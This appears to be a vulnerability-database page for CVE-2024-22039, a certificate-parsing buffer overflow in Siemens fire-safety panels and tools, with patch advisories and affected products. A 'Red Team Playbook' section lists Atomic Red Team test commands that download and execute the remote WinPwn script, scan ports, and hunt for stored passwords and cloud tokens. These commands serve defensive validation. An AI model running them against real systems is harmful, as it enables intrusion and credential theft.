CVE-2024-22039
Overview
This vulnerability is a stack-based buffer overflow caused by improper validation of the length of certain X.509 certificate attributes within the network communication library. The affected component fails to enforce bounds checking on certificate attribute lengths, leading to memory corruption. This flaw impacts multiple Siemens Cerberus PRO and Sinteso FS20 EN product lines, including engineering tools, fire panels, and cloud distribution systems.
Vulnerability Description
A vulnerability has been identified in Cerberus PRO EN Engineering Tool (All versions < IP8), Cerberus PRO EN Fire Panel FC72x IP6 (All versions < IP6 SR3), Cerberus PRO EN Fire Panel FC72x IP7 (All versions < IP7 SR5), Cerberus PRO EN X200 Cloud Distribution IP7 (All versions < V3.0.6602), Cerberus PRO EN X200 Cloud Distribution IP8 (All versions < V4.0.5016), Cerberus PRO EN X300 Cloud Distribution IP7 (All versions < V3.2.6601), Cerberus PRO EN X300 Cloud Distribution IP8 (All versions < V4.2.5015), Cerberus PRO UL Compact Panel FC922/924 (All versions < MP4), Cerberus PRO UL Engineering Tool (All versions < MP4), Cerberus PRO UL X300 Cloud Distribution (All versions < V4.3.0001), Desigo Fire Safety UL Compact Panel FC2025/2050 (All versions < MP4), Desigo Fire Safety UL Engineering Tool (All versions < MP4), Desigo Fire Safety UL X300 Cloud Distribution (All versions < V4.3.0001), Sinteso FS20 EN Engineering Tool (All versions < MP8), Sinteso FS20 EN Fire Panel FC20 MP6 (All versions < MP6 SR3), Sinteso FS20 EN Fire Panel FC20 MP7 (All versions < MP7 SR5), Sinteso FS20 EN X200 Cloud Distribution MP7 (All versions < V3.0.6602), Sinteso FS20 EN X200 Cloud Distribution MP8 (All versions < V4.0.5016), Sinteso FS20 EN X300 Cloud Distribution MP7 (All versions < V3.2.6601), Sinteso FS20 EN X300 Cloud Distribution MP8 (All versions < V4.2.5015), Sinteso Mobile (All versions < V3.0.0). The network communication library in affected systems does not validate the length of certain X.509 certificate attributes which might result in a stack-based buffer overflow. This could allow an unauthenticated remote attacker to execute code on the underlying operating system with root privileges.
Impact
An unauthenticated remote attacker can exploit this vulnerability by delivering a specially crafted X.509 certificate to the affected system, resulting in arbitrary code execution with root privileges. No user interaction or authentication is required, and the attack can be performed over the network. This enables full system compromise, including potential data exfiltration, service disruption, or lateral movement within the network. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the ease of remote exploitation without privileges.
Solution
Siemens has released security advisories SSA-225840 and SSA-953710 detailing patches for all affected products. Users must update to versions IP8 or later for Cerberus PRO EN Engineering Tool, and corresponding IP or MP releases (e.g., IP6 SR3, MP4, V4.3.0001) for fire panels and cloud distribution systems as specified in the advisories. The advisories provide comprehensive patch instructions and version mappings. Applying these vendor-provided updates is the recommended remediation to mitigate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified in various Siemens fire safety products, specifically within the network communication library of the affected systems. This flaw arises from improper validation of the length of certain X.509 certificate attributes, leading to a potential stack-based buffer overflow. Such an overflow can allow an attacker to manipulate the execution flow of the program, potentially leading to arbitrary code execution with root privileges on the operating system. This vulnerability affects a broad range of products, including engineering tools and fire panels, which are integral to fire safety and management systems in various environments.
The primary attack vector for exploiting this vulnerability involves an unauthenticated remote attacker sending specially crafted X.509 certificates to the affected systems. By exploiting the buffer overflow, the attacker can execute malicious code, which could compromise the integrity and availability of the fire safety systems. Scenarios may include an attacker gaining control over fire panels, disabling alarms, or even manipulating fire suppression systems. Given the critical nature of fire safety systems, such actions could lead to catastrophic consequences, including loss of life, property damage, and significant legal liabilities for organizations.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on these fire safety solutions. Organizations in sectors such as healthcare, education, and manufacturing, where fire safety systems are paramount, face heightened risks. A successful exploitation could not only disrupt operations but also result in regulatory fines and reputational damage. The potential for unauthorized access to sensitive building management systems further exacerbates the risk, as attackers could pivot to other critical infrastructure components, leading to broader security breaches.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching affected systems is crucial, as vendors typically release updates to address such vulnerabilities. Additionally, organizations should employ intrusion detection systems (IDS) to monitor for unusual network traffic patterns indicative of exploitation attempts. Conducting regular security assessments and penetration testing can also help identify weaknesses before they can be exploited. Furthermore, implementing strict access controls and network segmentation can limit the exposure of critical systems to potential attackers.
In conclusion, the vulnerability present in Siemens fire safety products poses significant risks that require immediate attention from organizations utilizing these systems. The potential for remote code execution with root privileges underscores the need for robust security practices, including timely updates, continuous monitoring, and proactive risk management strategies. As the threat landscape evolves, organizations must remain vigilant and responsive to ensure the integrity and safety of their fire protection systems.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Siemens | Cerberus Pro En Engineering Tool | All |
cpe:2.3:a:siemens:cerberus_pro_en_engineering_tool:*:*:*:*:*:*:*:*
|
|
|
Siemens | Cerberus Pro En Fire Panel Fc72x | All |
cpe:2.3:a:siemens:cerberus_pro_en_fire_panel_fc72x:*:*:*:*:*:*:*:*
|
|
|
Siemens | Cerberus Pro En X200 Cloud Distribution | All |
cpe:2.3:a:siemens:cerberus_pro_en_x200_cloud_distribution:*:*:*:*:*:*:*:*
|
|
|
Siemens | Cerberus Pro En X300 Cloud Distribution | All |
cpe:2.3:a:siemens:cerberus_pro_en_x300_cloud_distribution:*:*:*:*:*:*:*:*
|
|
|
Siemens | Sinteso Fs20 En Engineering Tool | All |
cpe:2.3:a:siemens:sinteso_fs20_en_engineering_tool:*:*:*:*:*:*:*:*
|
|
|
Siemens | Sinteso Fs20 En Fire Panel Fc20 | All |
cpe:2.3:a:siemens:sinteso_fs20_en_fire_panel_fc20:*:*:*:*:*:*:*:*
|
|
|
Siemens | Sinteso Fs20 En X200 Cloud Distribution | All |
cpe:2.3:a:siemens:sinteso_fs20_en_x200_cloud_distribution:*:*:*:*:*:*:*:*
|
|
|
Siemens | Sinteso Fs20 En X300 Cloud Distribution | All |
cpe:2.3:a:siemens:sinteso_fs20_en_x300_cloud_distribution:*:*:*:*:*:*:*:*
|
|
|
Siemens | Sinteso Mobile | All |
cpe:2.3:a:siemens:sinteso_mobile:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-22039 |
| cert-portal.siemens.com |
GitHub CVE
|
https://cert-portal.siemens.com/productcert/html/ssa-225840.html |
| cert-portal.siemens.com |
GitHub CVE
|
https://cert-portal.siemens.com/productcert/html/ssa-953710.html |